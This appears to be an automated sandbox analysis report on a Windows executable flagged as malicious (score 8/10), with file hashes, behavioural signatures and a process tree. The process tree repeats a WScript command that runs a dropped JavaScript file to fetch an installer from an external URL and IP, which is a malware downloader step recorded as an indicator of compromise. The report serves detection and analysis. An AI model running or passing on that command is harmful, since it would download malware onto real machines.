Analysis

  • max time kernel
    134s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/05/2024, 03:01

General

  • Target

    5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    5cd9b3ad2ea8a0b21266481167f603a1

  • SHA1

    5ec589da3d617e7fbef95b30d28bf876f65f8678

  • SHA256

    71d6c1285130edad37a173dec053d3a8a8c5a97548cf736b2bef923564bfcf46

  • SHA512

    1996f251d926e09b10bebcdb0318c25cd1d754ddd352e4837d2e69c6f9b84113b79ea5975c0accfede65f9d8f604df189ee52c7216baffe8de668ad45638ee94

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO34:/7BSH8zUB+nGESaaRvoB7FJNndnt

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\5cd9b3ad2ea8a0b21266481167f603a1_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:408
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E24.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E24.exe
      2⤵
      • Blocklisted process makes network request
      PID:892
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E24.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E24.exe
      2⤵
      • Blocklisted process makes network request
      PID:4540
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E24.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E24.exe
      2⤵
      • Blocklisted process makes network request
      PID:3416
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E24.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E24.exe
      2⤵
      • Blocklisted process makes network request
      PID:1388
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E24.js" http://www.djapp.info/?domain=GZjcEryNCv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E24.exe
      2⤵
      • Blocklisted process makes network request
      PID:2972

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf2E24.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76